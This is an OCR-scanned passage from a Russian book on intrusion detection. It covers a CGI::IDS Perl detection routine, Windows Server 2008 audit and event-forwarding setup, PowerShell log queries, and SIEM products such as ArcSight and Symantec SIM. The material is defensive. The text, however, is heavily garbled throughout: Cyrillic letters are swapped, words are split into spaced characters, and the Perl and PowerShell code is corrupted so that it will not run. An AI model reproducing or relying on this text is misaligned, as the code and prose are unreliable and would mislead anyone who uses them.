my $attacks  = $ s e l f - >_app ly_f i l t e r s ( $ r e q u e st_va l u e ) ;  

i f  ( $attacks - > { impact } )  { 

$ f i l t e r_i mpact  

$time_ms  

$va l u e_conve rted  

+= $attac ks - > { impact } : 

+= $attac k s - > { time_m s } : 

= $attac k s - >  { st r i n g_conve  rted } : 
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p u s h  (@тatched_fi l t e r s ,  

p u s h  ( @тat c h e d _tag s ,  

# s c a n  key o n l y  i f  d e s i red  

i f  ( $ s e l f - > { sca n_keys } )  { 

@ {  $attac k s - > { f i l  te r s } } ) :  

@ {  $attacks - >  { tag s } } ) : 

# s c a n  o n l y  i f  val u e  i s  n o t  h a r т l e s s  

i f  ( 1 $ s e l f - > { wh i t e l i st } - > i s_ h a r т l e s s_st ri n g ( $ key ) ) { 

# a p p l y  f i l t e r s  to key 

ту $attacks  

$ f i l t e r_i тpact  

$tiтe_тs  

$ key_conve rted  

p ush  (@тatched_fi l t e r s ,  

p u s h  ( @тat c h e d _tag s ,  

e l s e  { 

= $ s e l f - >_a p ply_f i l t e r s ( $ key ) : 

+= $attac ks - > { iтpact } : 

+= $attac k s - > { tiтe_т s } : 

= $attac k s - >  { st r i n g_conve  rted } : 

@ {  $attac k s - > { f i l  te r s } } ) :  

@ {  $attacks - >  { tag s } } ) : 

# s ki p p e d , a l p h a n u т e ric  key o n ly 

# add  attack  to log  

ту %at t a c k  = ( ) :  

i f  ( $ f i l  te  r _iтpact ) { 

# таkе  a r rays u n i q u e  a n d  so rted  

ту % s e e n  = ( ) :  

@т atc h e d _  f i l t e  r s  = so  rt g r e p  { 1 $ s e e n  { $_ }  ++ } @тatched_  f i l  te  r s :  

% s e e n  = ( ) :  

@т atc h e d_tag s = s o r t  g re p  { ! $ s e e n { $_ }  ++ } @т a t c h e d_tag s ;  

%attack  = ( 

key => $key , 

key_conve rted  => $ key_c onve rted . 

v a l u e  = >  $ re q u e st_va l u e . 

v a l u e_conve rted  => $va l u e_conve rted , 

tiтe_тs  => $ t i тe_т s .  

i т pact  => $ f i l t e r_iтpac t .  

тatched  f i l t e  r s  = >  \@тatched_fi lte r s ,  

тatched  _tag s => \@тatch ed_tag s .  

) :  

p u s h  ( @ { $ se l f - > { at t a c ks } } ,  \%attac k ) : 

$ s e l f - > { iтpact } += $ f i l t e r_i т p ac t : 

i f  ( DEBUG_M O D E  & D EBUG_AR R AY _ I N FO && %attac k )  { 

u s e  Dat a : : D u т p e r :  

p ri n t  - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \n " .  

D u т pe r ( \%attac k )  
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"\ n\n " ;  

i f  ( D EB UG_MO D E  & D E B U G_MATC H ED_F I LTERS  && @matched_filte r s )  

т у  $ f i l t e rs_concat  = j oi n  " ,  " ,  @ma t c h e d_fi l t e r s ;  

p ri n t  " Fi l t e r s : $ f i l t e rs_concat\n " ;  

i f  ( D EB UG_MO D E  & D EBUG_IM PACTS ) { 

р r i n t  " I m pact  $ f i l t e  r _impact\n " ; 

} # e n d  of fo reach  key 

p u s h  ( @ { $ s e l f - > { f i l t e red_key s } } ,  @{ $ s e l f - > { wh i t e l i st } - > s u s p i c i o u s_keys ( ) } ) :  

p u s h  ( @ { $ s e l f - > { n o n_filte red_keys } } .  @ { $ se l f - > { wh i t e l i s t } - > n o n _ s u s p i c i o u s_ 

key s ( ) } ) ;  

# r e set  f i l  te  red_keys  a n d  n o n _  f i l t e  red_keys  

$ s e l f - > { wh i t e l i st } - > re s e t ( ) ;  

i f  ( $ s e l f - > { impact } > О )  { 

r etu r n  $ s e l f - > { impact } ; 

e l s e  { 

r etu r n  О ;  

Здесь приведеп лишь фрагмепт исходпого кода СОВ,  отвечаю
щий за логику припятия решепия о припадлежпости тех или ипых 
событий, происходящих па веб-страпице, к попытке атаки. Пол
пую версию исходпого кода С О В  можпо пайти па сайте http :// 
search.cpan.org/-hinnerk/CGI-ID S- 1 . 02 1 4/lib/CGI/IDS.pm#detect 
attacks%28%29. 

7.3.2. Мониторинг событий ИБ в Windows 2008 

Средства обнаружения и предотвращения вторжений. 
Мониторинг информационной безопасности 
Одпим из частпых случаев реализации систем обпаружепия вторже
пий является осуществлепие мопиторипга событий ипформациоппой 
безопаспости. Системы мопиторипга используют в качестве источпи
ка ипформации журпалы событий. 

Чтепие журпалов событий различпого оборудовапия и приложе
пий является пеотъемлемой частью работы любого адмипистратора 
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безопаспости. Сетевое оборудовапие, операциоппые системы и прак
тически все бизпес -приложепия осуществляют журпалировапие со
бытий безопаспости, таких как удачпый/пеудачпый вход в систему, 
запуск/остаповка системы, обращепие к закрытому порту для меж
сетевых экрапов и другие события. Одпако при паличии в сети даже 
десяти серверов чтепие журпалов событий па каждом из пих стапо
вится довольпо трудоемкой задачей, требующей затраты большой 
части рабочего времепи. Для того чтобы автоматизировать процесс 
обработки журпалов событий, папример в части поиска попыток пе
удачпого входа в систему, есть мпожество различпых решепий. Для 
Uniх-систем существует мпожество бесплатпых сцепариев па языке 
Перл, позволяющих осуществлять автоматический поиск задаппого 
события в журпале и реакцию па даппое событие, папример отправку 
почтового сообщепия адмипистратору. 

Также есть средства, дающие возможпость в автоматическом режи
ме пресекать действия злоумышлеппика, папример блокируя порты 
па коммутаторе, к которым подключеп даппый узел, или запускать 
сцепарий, осуществляющий сбор сведепий о машипе злоумышлеп
пика. Даппые сведепия впоследствии могут быть использовапы в ка
честве доказательств для суда. 

Существуют системы обпаружепия вторжепий ( Intrusion Detection 
System, IDS)  и системы предотвращепия вторжепий ( Intrusion 
Prevention System, IPS) .  Первые предпазпачепы только для обпару
жепия апомалий и уведомлепия о пих адмипистратора безопаспости. 
Вторые же способпы самостоятельпо реагировать па угрозы. При
мером аппаратпых решепий по предотвращепию вторжепий явля
ется Cisco MARS ( Cisco Security Monitoring, Analysis, and Response 
System) от компапии Cisco Systems. Cisco MARS обеспечивает пре
образовапие предоставляемых сетью и системой безопаспости пе
обработаппых даппых о злопамереппой активпости в попятпую 
ипформацию, которая может быть использовапа для устрапепия 
подтверждеппых парушепий безопаспости и обеспечепия соответ
ствия пормативпым докумептам. Набор удобпых в использовапии 
аппаратпых средств отражепия угроз позволяет адмипистраторам 
цептрализоваппо обпаруживать, определять приоритетпость и отра
жать угрозы с помощью уже впедреппых в ипфраструктуру сетевых 
устройств и устройств защиты. 

Cisco MARS собирает ипформацию о сетевых событиях, изучая 
топологию сети и копфигурацию маршрутизаторов , коммутаторов 
и межсетевых экрапов,  а также апализируя сетевой трафик. Систе
ма создает топологическую схему сети, содержащую ипформацию 
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о копфигурации устройств и действующих политик безопаспости, 
что позволяет моделировать потоки пакетов в сети. За счет авто
помпой работы устройства и мипимальпого использовапия сущест
вующих программ-агептов производительпость сети или системы 
в целом практически пе спижается. Устройство Cisco MARS цепт
рализоваппо собирает даппые о событиях, регистрируемых мпо 
жеством распрострапеппых сетевых устройств (папример,  марш
рутизаторы и коммутаторы) ,  устройств защиты и приложепий 
(папример, межсетевые экрапы, системы обпаружепия вторжепий, 
скаперы уязвимостей и аптивируспые программы) ,  главпых узлов 
(папример,  серверы под управлепием Windows, Solaris и Linux) ,  
приложепий (папример, базы даппых, веб-серверы и серверы аутеп
тификации ) и программ обработки сетевого трафика (папример , 
Cisco N etFlow ) .  

Припцип работы аппаратпых решепий следующий. Оборудова
пие Cisco MARS устапавливается во впутреппей сети. Затем па всем 
сетевом оборудовапии, имеющемся в сети, пастраивается пересылка 
сообщепий о событиях ипформациоппой безопаспости па MARS. Эта 
пересылка осуществляется с помощью протоколов Syslog или SNMP. 
Таким образом, сетевое оборудовапие само пересьшает в систему IPS 
сообщепия о событиях ИБ.  Мопиторипг серверов и приложепий осу
ществляется пемпого по-другому. Здесь IPS сама опрашивает серверы 
и забирает с пих сообщепия о событиях. 

Затем Cisco MARS осуществляет обработку получеппых собы
тий. Ипформация об имепи узла, с которого пришло сообщепие, его 
IР-адрес, IР-адрес атакующего, время события и другие зпачепия 
запосятся в отдельпые поля для последующей проверки па соответ
ствие моделям угроз .  Типовыми моделями угроз являются попытки 
скапировапия портов,  различпые атаки па сетевом уровпе, подбор 
паролей, вход в систему под учетпой записью адмипистратора, в си
стему в перабочее время и др. Даппые модели угроз представлепы 
в IPS в виде правил. В случае если получеппые события безопаспо
сти соответствуют какой-либо из прописаппых моделей угроз ,  IPS 
выполпяет действия, паправлеппые па блокировку узла атакующе
го и уведомлепия адмипистратора об ипцидепте. Затем сообщепие 
о событии сохрапяется в базе даппых IPS,  из которой его можпо из
влечь для проведепия расследовапия или построепия отчетов.  Cisco 
MARS предоставляет простой в использовапии мехапизм апализа, 
который упрощает традициоппый процесс защиты сети, обеспечивая 
автоматическое определепие, апализ распрострапепия, оповещепие и 
коммептировапие событий безопаспости для ежедпевпых операций 
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и специальпых проверок. Этот мехапизм позволяет графически вос
произвести атаку и восстаповить сохрапеппые даппые для апали
за предыдущих событий. Система обеспечивает полпую поддержку 
специальпых запросов для последовательпого извлечепия даппых 
в реальпом времепи. 

Помимо аппаратпых IPS и IDS, существуют также программпые 
средства, выполпяющие апалогичпые задачи. 

Припцип действия программпых комплексов может пемпого отли
чаться от аппаратпых решепий. Для программпых IPS- и IDS-систем 
характерпа модульпость, то есть в пих отдельпый модуль (как пра
вило, это отдельпый сервер) выполпяет сбор сведепий от различпых 
источпиков,  другой модуль осуществляет разбор этих событий по 
полям, пакопец третий, цептральпый модуль производит провер
ку соответствия событий различпым моделям угроз и реакции па 
эти события. И четвертый модуль - это база даппых, как правило 
Oracle, в которой, собствеппо, и храпятся сообщепия о событиях и 
с помощью которой осуществляется построепие отчетов. 

Сказать одпозпачпо, какие из реализаций IPS/IDS лучше - аппа
ратпые или программпые, сложпо. Аппаратпые системы, как правило, 
производительпее. Но стоят дороже своих программпых апалогов, 
к тому же в пих отсутствует отказоустойчивость. Программпые же 
решепия благодаря модульпости можпо распределить па песколько 
серверов, и в случае выхода из строя одпого из модулей события бу
дут продолжать собираться другими модулями и стоять в очереди, 
ожидая, когда отсутствующий модуль верпется в строй. 

Говоря о программпых комплексах IPS/IDS,  следует отметить, 
что есть мпожество коммерческих продуктов ,  таких как Arc Sight, 
Symantec Information Manager или Tivol i  Security Operations 
Manager, которые умеют пе только собирать события от различпых 
источпиков,  по и проверять даппые события па соответствие раз 
личпым моделям угроз (папример, подбор пароля или DdoS-aтaкa), 
реагировать па события, строить отчеты и мпогое другое. Но эти 
мощпые средства мопиторипга стоят очепь педешево и в пыпешпих 
пепростых экопомических условиях мпогим оргапизациям просто 
пе по кармапу. 

Поэтому для реализации простейшего мопиторипга событий ип
формациоппой безопаспости вы можете воспользоваться штатпыми 
средствами операциоппых систем. 

О том, как это можпо оргапизовать, мы поговорим далее в этом 
разделе. 
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Централизованный мониторинг в сети под управлением 
Windows Server 2008 

Одпако если в вашей сети па серверах используется операциоппая 
система Windows Server 2008, то вы можете самостоятельпо оргапи
зовать цептрализоваппый мопиторипг событий безопаспости. Для 
пачала поговорим о том, какие пововведепия появились в системе 
журпалировапия в Windows Server 2008. 

Как и мпогие другие фупкции Windows 2008, журпалы событий 
были существеппо переделапы и дополпепы повыми возможпостями. 
По определепию Майкрософт, событие - это любое зпачительпое 
проявлепие в операциоппой системе или приложепии, требующее 
отслеживапия ипформации. Событие пе всегда пегативпо, поскольку 
успешпый вход в сеть, успешпая передача сообщепий или реплика
ция даппых также могут геперировать события в Windows. В каждом 
журпале с его событиями связапы общие свойства. 

О Level (уровепь) - это свойство определяет важпость события. 
О Date and Time (дата и время) - это свойство содержит ипфор

мацию о дате и времепи возпикповепия события. 
О Source (источпик) - указывает источпик события: приложепие, 

удалеппый доступ, служба и т. д. 
О Event ID (код события) - каждому событию пазпачеп идеп

тификатор события ID, число, сгеперироваппое источпиком и 
упикальпое для всех типов событий. 

О Task Category (категория задачи) - это свойство определяет 
категорию события. Например, Security или System. 

И так, мы разобрались с тем, что представляет из себя событие 
в журпале Windows Event Log. Теперь пам пеобходимо спачала па
строить аудит событий ипформациоппой безопаспости. Далее будем 
предполагать, что у пас используется домеп Active Directory и все 
серверы входят в этот домеп. 

Для пастройки аудита пеобходимо зайти па коптроллер домепа и 
открыть редактор групповых политик Start � Administrative Tools 
� Group Policy Management. Далее выбираем домеп и, пажав пра
вую кпопку мыши, указываем Create а GPO in this domain . . . . Во
обще, для включепия аудита можпо воспользоваться политиками 
домепа по умолчапию, по лучше создать отдельпую политику с соот
ветствующим пазвапием, так как это упрощает адмипистрировапие. 
Далее в повой политике идем в Computer Configuration � Windows 
Settings � Security Settings � Local Policies � Audit Policy. Откро-
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ется список возможпых параметров пастройки аудита. Включать все 
подряд параметры пет особого смысла, так как в таком случае журпал 
событий паполпится огромпым количеством малоипформативпых 
сообщепий. Рекомепдую следующий пабор параметров:  

fаблица 9. Параметры аудита 

Категория аудита Тип аудита П римечание 
Audi t  accoun t  logon evenls No a ud iti ng  

Aud i t  accoun t  managemenl success/fa i l u re 

Aud i t  d i recto ry se rv ice a ccess No a ud i t i ng  

Aud i t  logon evenls success/fa i l u re 

Aud i t  ob j ect a ccess No a ud iti ng  В кл юч ить , тол ько есл и необ-
ходимо отслежи в ать доступ 
к о п р едел е н ным объектам 
( на п р имер , каталогам на  диске)  

Aud i t  po l i cy change  success/fa i l u re 

Aud i t  pr iv i l ege use success/fa i l u re 

Aud i t  p rocess l rack iпg N o  a ud i t i ng  

Aud i t  system eveпts s uccess/fa i l u re 

Теперь мы пастроили аудит в пашем домепе. Открыв журпал со
бытий Security, можпо убедиться в том, какое количество событий 
сыплется в пего ежесекупдпо. Для того чтобы пе пагружать коптрол
леры домепа и другие серверы задачами по обработке событий, мы 
должпы спачала переслать события безопаспости па выделеппый 
сервер, па котором и будет осуществляться автоматическая обра
ботка всех получеппых событий. Даппый выделеппый сервер также 
должеп работать под управлепием операциоппой системы Windows 
Server 2008 и входить в домеп Active Directory. Для пересылки со
бытий пам пеобходимо воспользоваться Subscriptions, подписками 
па события. 

Подписки на события 
Эта фупкция апалогичпа службе Syslog в Unix. Даппая фупкцио
пальпая возможпость позволяет удалеппым компьютерам пересылать 
сообщепия о событиях, в результате чего их можпо просматривать 
локальпо из цептральпой системы. 

Настроим пересылку событий с пескольких серверов па выделеп
пый сервер сбора событий. Для этого па каждый из серверов источ-
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пиков событий пеобходимо зайти под учетпой записью, обладающей 
адмипистративпыми правами. В окпе комапдпой строки ввести: 

wi n rm q u i c kc o n f i g  

Сервер, собирающий сообщепия о событиях, пеобходимо добавить 
в группу локальпых адмипистраторов па каждом из серверов - ис
точпиков событий. Затем войдите па сервер, собирающий сообщепия, 
и также выполпите: 

wi n rm q u i c kc o n f i g  

После этого выполпите па пем же следующую комапду: 

we c u t i l  q c  

При пеобходимости вы можете измепять параметры оптимизации 
доставки событий. Например, вы можете измепить параметр Minimize 
Bandwidth (мипимизация пропускпой способпости) для удалеппых 
серверов с пепадежпым капалом связи. 

Теперь пеобходимо, собствеппо, создать подписку, указав собы
тия, которые должпы извлекаться из логов серверов источпиков. Для 
этого па собирающем сервере запустите утилиту просмотра событий 
с учетпой записью, обладающей адмипистративпыми привилегиями. 
Затем щелкпите па папке Subscriptions в дереве копсоли и выберите 
комапду Create Subscription ( Создать подписку). В поле Subscription 
Name пужпо указать имя подписки . При пеобходимости в поле 
Description можпо привести описапие. Затем в поле Destination 
Log ( журпал пазпачепия) выберите файл журпала, в котором будут 
храпиться собраппые события. По умолчапию эти события будут хра
питься в журпале перепаправлеппых событий в папке Windows Logs 
дерева копсоли. После этого щелкпите па кпопке Select Computers, 
чтобы выбрать исходпые серверы, которые будут перепаправлять 
события. Как уже упомипалось рапее, даппые серверы должпы па
ходиться в домепе. Затем выберите события, пажав па кпопке Select 
Events. Скопфигурируйте журпалы и типы событий, предпазпачеп
пые для сбора. Щелкпите ОК, чтобы сохрапить подписку. 

Журналы 
Теперь зайдем па выделеппый сервер сбора событий и рассмотрим 
типы журпалов, появившиеся в Windows Server 2008. В папке жур
палов Windows Logs паходятся как традициоппые журпалы безопас
пости, приложепий и системы, так и два повых журпала - Setup ( На
стройка) и Forwarded Events ( Переслаппые события) .  Первые три 
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типа событий уже присутствовали в предыдущих версиях системы, 
поэтому о пих рассказывать пет смысла. А о последпих двух следует 
рассказать подробпее. Журпал Setup фиксирует ипформацию, свя
заппую с устаповкой приложепий, ролями сервера и их характерис
тиками. Так, папример, сообщепия о добавлепии па сервере роли 
DHCP будет отражепы в этом журпале. В журпале Forwarded Events 
собираются сообщепия, прислаппые с других машип в сети. 

Папка Applications and Services Logs (Журпалы приложепий и 
служб) представляет собой повый способ логической оргапизации, 
представлепия и сохрапепия событий, связаппых с копкретпым при
ложепием, компопептом или службой Windows вместо использовав
шейся рапее регистрации событий, которые оказывают влияпие па 
всю систему. Эти журпалы включают четыре подтипа: Admin ( Со
бытия, предпазпачеппые для копечпых пользователей и адмипистра
торов) ,  Operational ( Рабочий журпал событий, также предпазпачеп
пый для адмипистраторов ) ,  Analytic ( журпал позволяет отслеживать 
цепочку возпикповепия проблемы и часто содержит большое коли
чество записаппых событий),  Debug (используется для отладки при
ложепий).  По умолчапию журпалы Analytic и Debug скрыты и от
ключепы. Для того чтобы их просмотреть, щелкпите правой кпопкой 
мыши па папке Applications and Services Logs, а затем в коптекстпом 
мепю выберите пупкт View, Show Analytic and Debug Logs (рис. 47). 

Event Viewe r  
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Е1 

"f Ad Graup Ву 
с: Add/Remo11e Coh.Jmns . .  , 

11/1Jf2008 10: 5 1 : 58 РМ 
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Spec i a l  privi l ege.s as.s. i g n ed to new l o g o n . 
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Рис. 47. Настройка Debug 
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Настраиваемые представлепия - это специальпые фильтры, создап
пые либо автоматически системой Windows 2008, во время добав 
лепия в систему повых ролей сервера или приложепий, таких как 
Directory Certificate Services ( Службы сертификатов каталогов) ,  
сервер DHCP, либо адмипистраторами вручпую. Для адмипистрато
ров одпой из важпейших фупкций при работе с журпалами событий 
является возможпость создавать фильтры, позволяющие просматри
вать только иптересующие события, чтобы можпо было быстро диаг
постировать и устрапять проблемы в системе. В качестве примера 
рассмотрим папку Custom Views в павигациоппой папели утилиты 
просмотра событий. Если в этой папке щелкпуть правой кпопкой 
мыши по Administrative Events и затем выбрать Properties, то пос
ле пажатия Edit Filter можпо увидеть, как ипформация из журпала 
событий преобразуется в пабор отфильтроваппых событий. Настраи
ваемые представлепия оспастки Administrative Events фиксируют 
все критические события, а события ошибок и предупреждепий 
фиксируются для всех журпалов событий (в отличие от предыду
щих версий Windows) .  Таким образом, с помощью даппого фильтра 
адмипистратор может обращаться к едипствеппому источпику для 
быстрой проверки потепциальпых проблем, присутствующих в си
стеме. Это средство может пригодиться при обработке событий, при
ходящих с серверов источпиков событий. 

Создаппые пастраиваемые представлепия можпо экпортировать 
в ХМL-файл для последующего распрострапепия па другие машипы. 

Реагируем на события 
Еще одпой иптереспой фупкцией, о которой хотелось бы упомяпуть, 
является возможпость ответпой реакции па события. Например, если 
у вас пользователь указал певерпые учетпые даппые для аккаупта, 
имеющего адмипистративпые привилегии, то па появлепие даппого 
события в журпале пеобходимо отреагировать, послав уведомлепие 
адмипистратору безопаспости. Даппая фупкция является долгождап
пым решепием проблем с автоматизацией работы серверов, так как 
рапьше требовалось устапавливать дополпительпое программпое 
обеспечепие или писать сцепарии, для того чтобы заставить сервер 
автоматически реагировать па определеппые события. 

В качестве примера пастроим отправку сообщепия адмипистрато
ру в случае пеудачпого входа пользователя в систему (обратите впи-
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мапие па то, что теперь это событие имеет другой ID 4625, отличпый 
от использовавшегося в Windows 2003 ID 529) .  

Для этого пеобходимо зайти в журпал событий Event Viewer, 
открыть раздел Windows Logs, затем Security, выбрать пужпое со
бытие, пажать правую кпопку мыши и указать Attach Task То This 
Event . . .  ( Прикрепить задачу к этому событию) (рис. 48). 
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Рие. 48. Настройка ответной реакцнн на событие 

В открывшемся окпе пеобходимо выбрать пазвапие события и его 
описапие. На следующем шаге указываются используемый журпал, 
источпик и помер события. Содержимое этого журпала пельзя из
мепить. Потом выбирается тип ответпого действия. Это может быть 
выполпепие какого-либо приложепия, отправка электроппого пись
ма или вывод сообщепия па экрап. Выберем отправку письма. На 
следующем шаге пужпо указать, от кого и па чей адрес отправлять 
письмо, тему письма, его текст. Можпо также прикрепить какой-либо 
файл к даппому сообщепию. Не забудьте указать IР-адрес SМТР
сервера. На следующем шаге поставьте галочку в соответствующем 
поле, для того чтобы после создапия задачи открьmось окпо с ее свой
ствами (рис. 49) .  

Окпо свойств задачи апалогичпо иптерфейсу Scheduled Tasks 
для задапий, выполпяющихся по расписапию. Здесь можпо указать 
учетпую запись, под которой выполпяется задача, при пеобходи-
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Рис. 49. Свойства задач 

О К  C a n cel 

мости ее можно вынолнять, только когда нользователь работает на 
машине. 

В закладке Triggers вы можете добавлять или изменять усло 
вия вынолнения задачи. В Actions вы можете добавлять различные 
действия. В закладке Conditions нронисаны условия, нри которых 
вынолняется задача. В Settings можно нронисать, какие действия 
должны быть вынолнены нри различных условиях. Нанример, что 
нужно делать в случае, если такая задача уже вынолняется. Наконец, 
в закладке History вы можете наблюдать все события, которые вы
звали вынолнение задачи. 

Немного о построении отчетов 
Иногда возникает необходимость в настроении отчетов о событиях 
информационной безонасности. Нанример, руководители различного 
уровня очень любят, когда им нредоставляют раснечатки отчетов,  
в которых нредставлена информация о том, сколько ноныток несанк
ционированного нроникновения было осуществлено, к нримеру за 
месяц. Благодаря отчетам многие руководители ИТ-отделов выби
вают бюджеты на развитие, так что не стоит нренебрегать отчетами. 

Итак, нам нужно осуществить выборку событий из журнала. Де
лать мы это будем с номощью средств PowerShell. 
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Для начала построим отчет о неудачных входах в систему. Для 
этого нам необходимо выбрать все события с кодом 4625. 

g e t - e ve n t lo g  - Lo g N ame  S e c u rity  - N ewe st  1 0 0 1 Wh e re - O bj ect  { $_ . Eve n t I D  -

eq 4625  } 

Еще один пример. Узнаем, сколько пользователей осуществляло 
вход в систему в нерабочее время. Код события Success Logon - 4624. 

g e t - ev e n t l o g  s e c u r ity  1 w h e re  

{ $_ . Eve n t i d  - e q  4624  - a n d  

( $_ . TimeGe n e rated . TimeOfDay  

- g t  ' 2 0 : 0 0 : 00 '  - o r  

$_ . TimeGe n e rated . Ti meOfDay 

- l t  ' 08 : 0 0 : 00 '  ) }  

В завершение узнаем, сколько удачных входов в систему было осу
ществлено пользователем administrator. 

g e t - e ve n t lo g  - Lo g N ame  S e c u rity  1 W he r e - O bj ect  { $_ . m e s s a g e  - m a t c h  

' ad m i n i s t rato r ·  - A N D  $_ . Eve n t I D  - e q  4624  } 

Здесь приведены только простейшие сценарии работы с журналом 
событий в Windows Server 2008. При необходимости на их основе 
можно построить более сложные запросы для решения соответст
вующих задач информационной безопасности. 

7.З. З. Промышленные решения мониторинга 
событий 

Для того чтобы эффективно защищать корпоративные ресурсы, не
достаточно только внедрить средства защиты, такие как антивирусы, 
межсетевые экраны или жесткие парольные политики. Необходимо 
еще осуществлять регулярный мониторинг событий информацион
ный безопасности с целью поиска нарушителей и предотвращения 
новых угроз .  

При мониторинге основным источником является журнал собы
тий. Для серверов и рабочих станций под управлением Windows это 
журнал Event Log, для серверов Unix и сетевого оборудования это 
Syslog. Приложения, как правило, сохраняют события либо в тексто
вых файлах, либо в таблицах баз данных. 

Следующий вопрос: что именно хранится в этих журналах. Пожа
луй, самым распространенным событием в журнале любой системы, 
производящей аутентификацию пользователей, является сообщение 
об удачном или неудачном вводе учетных данных. Для межсетевых 
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экранов основное событие - это обращение на закрытый порт, для 
антивирусных систем это обнаружение вирусов. 

В крупных организациях количество устройств, мониторинг кото
рых необходимо осуществлять, измеряется как минимум десятками, 
а то и сотнями. И количество событий может исчисляться десятками 
тысяч в сутки. При таком объеме специалисту но безопасности край
не затруднительно производить выборку интересующих событий. 
Конечно, многие используют сценарии собственного написания для 
автоматизации процесса поиска интересующих событий (например, 
выборку событий неудачного ввода пароля при входе в систему), но 
в нромьштенных масштабах для мониторинга нужно более мощное 
решение. 

Для начала определимся с терминологией. Решения но мониторин
гу событий информационной безопасности обозначаются аббревиа
турой SIEM ( Security Information and Event Management) .  Данные 
решения включают в себя средства автоматизированного сбора со
бытий, их нормализации, то есть приведения текста события к неко
торому общему виду (например, выделение из события имени поль
зователя, его IР-адреса, порта соединения и т. д. ). Также классический 
SIEM осуществляет сохранение всех событий в единой БД и позволя
ет составлять правила корреляции различных событий. С помощью 
этих правил специалист но безопасности может существенно авто
матизировать свою работу но обнаружению и предотвращению атак. 
Опционально решение может также содержать средства генерации 
отчетов и автоматизации расследования инцидентов. Как правило, 
присутствует возможность реагирования на события и интеграции 
с системами IPS. 

Помимо классических решений SIEM, существуют также узкона
правленные, осуществляющие мониторинг только специализирован
ного тина систем, например СУБД ( Guardium, Sentrigo Hedgehog и 
др. ) .  В рамках данного раздела мы будем рассматривать лишь клас
сические SIEM. 

Как и в других отраслях ИТ, в SIEM имеются как коммерческие, 
так и бесплатные решения. Начнем с коммерческих. 

ArcSight ESM 

Данный продукт является признанным лидером на рынке коммерче
ских SIEM -решений. ArcSight ESM [ 1 ]  поддерживает возможность 
сбора данных с различных сетевых устройств , операционных си
стем и приложений и производит корреляцию этих данных. В на-
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стоящий момент число типов поддерживаемых устройств превышает 
275 .  Поддерживаемые операционные системы RedHat Linux, MS 
Windows Server 2003 32 - или 64-Ьit, ВМ AIX 51 5.3 64 Ьit, Solaris 9/1 0  
32- или 64-Ьit. В качестве хранилища данных используется СУБД 
Oracle 1 0g. 

Arc Sight состоит из трех модулей:  SmartConnectors, Manager и 
Data Base. SmartConnectors - это коннекторы, которые подключа
ются к устройствам и осуществляют сбор событий. Manager - это 
собственно ядро системы, осуществляющее обработку и корреляцию 
событий. Data Base - это база данных, в которой сохраняются норма
лизованные события. При установке ArcSight все три модуля можно 
установить на один сервер, но я категорически не рекомендую этого 
делать. Как минимум разнесите коннекторы с остальными модулями. 
Тогда в случае выхода из строя менеджера события будут кеширо
ваться и будут переданы в менеджер при его включении. 

Отдельной темой является подключение нестандартных источни
ков,  то есть тех, о которых не знает ArcSight. Для них предусмотрен 
специальный мастер FlexAgent Creation Wizard, с помощью которого 
можно в интерактивном режиме �обучить� Arc Sight разбирать ноля 
событий в новом источнике. 

Еще одним важным преимуществом Arc Sight является богатый 
функционал но настройке правил корреляции и реагированию на 
события. В случае выполнения правил корреляции можно создать 
новое событие, отправить уведомление но электронной почте, а также 
выполнить сценарий или послать команду системе IPS.  

Отдельно следует сказать об интеграции с IPS. В продуктовой ли
нейке ArcSight имеется аппаратное решение - ArcSight TRM (Threat 
Response Module ), интегрирующийся с ESM. Данный модуль может 
осуществлять взаимодействие с сетевыми устройствами и выпол
нять различные команды на данных устройствах. Например, TRM 
успешно осуществлял блокировку атакующего узла на маршрутиза
торе Juniper. 

Также ArcSight ESM имеет набор средств для автоматизации рас
следования инцидентов. В консоли можно завести инцидент, изме
нить его статус, а также записать комментарии, касающиеся его рас
следования. 

Сама консоль реализована в двух вариантах: веб и �толстого� ,  
устанавливающегося на рабочую станцию администратора (рис. 50) .  

В целом ArcSight является заслуженным лидером рынка решений 
но мониторингу событий безопасности. Единственным, что внушает 
некоторые опасения но поводу будущего данного продукта, является 
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Рис. 50. Консоль управления ArcSight 

тот факт, что недавно НР нриобрела ArcSight. Насколько ноглощение 
гигантом скажется на дальнейшем развитии нродукта, накажет время. 

Symantec Security lnformation Manager 

Комнания Symantec обладает обширным набором решений но ин
формационной безонасности. И хотя наиболее известными их ре
шениями являются антивирусы и системы резервного конирования, 
нродукт Security Information Manager тоже заслуживает внима
ния. Поддерживаемые онерационные системы Red Hat® Enterprise 
Linux 4.7 32 Ьit. Также есть возможность иснользовать гинервизоры 
VMware ESX 3.5 и 4. 

Symantec SIM нредставляет собой нрограммно-аннаратный ком
нлекс, нозволяющий в режиме онлайн собирать но всей корноративной 
сети, структурировать, нриоритезировать и анализировать все собы
тия, имеющие значения с точки зрения информационной безонасно
сти, от систем и нриложений, иснользуемых в комнании. Symantec SIM 
осуществляет централизованный сбор событий ИБ от нрограммно-тех
нических средств более чем 1 00 различных нроизводителей. Для «не
ноддерживаемых�> систем есть возможность разработки собственных 
коллекторов для сбора событий ИБ нри номощи снециализированного 
нрограммного накета Collector Studio (рис. 5 1  ) .  
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Рис. 5 1 . Консоль управпення Symantec SIM 

На основе собранных данных Symantec SIM номогает выявлять угро
зы безонасности, нанравленные на наиболее важные бизнес-нриложе
ния, онределять их нриоритеты, создавать инциденты. При выявлении 
какого-либо инцидента срабатывает онределенный тин оновещения 
(в соответствии с настройками) - оновещаются указанные админист
раторы но электронной ночте или СМС. Кроме того, вся информация 
и результаты ее обработки хранятся в централизованной базе. 

Symantec SIM также нозволяет генерировать самые разнообразные 
отчеты о состоянии сети в разрезе информационной безонасности. 

Как видите, функционал SIM схож с Arc Sight, однако но неко
торым возможностям ArcSight обходит решение от Symantec. Так, 
SIM не отображает критичности событий, и события не могут быть 
отсортированы но критичности. К нримеру, администратор безонас
ности, нридя утром на работу, нри номощи системы Symantec сможет 
онределить только увеличение количества событий в онределенный 
ночной нериод времени. Иснользуя же систему ArcSight, администра
тор сможет сразу онределить, важные, с точки зрения безонасности, 
события бьmи зафиксированы или нет. 
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К тому же система ArcSight позволяет просматривать все события 
(обычные и коррелированные) в одном окне, коррелированные со
бытия помечены значком с молнией. Система Symantec дает возмож
ность просматривать данные события в двух разных окнах ( Incedents 
и Events) ,  что также не совсем удобно. 

Приведенные доводы, конечно, относятся к средствам визуализа
ции и могут оказаться несущественными при выборе конкретного 
решения. Далее перейдем к обсуждению продукта от IBM. 

Cisco MARS 

Данное аппаратное решение знакомо многим специалистам но се
тевой безопасности, работающим с другими решениями Cisco.  Си
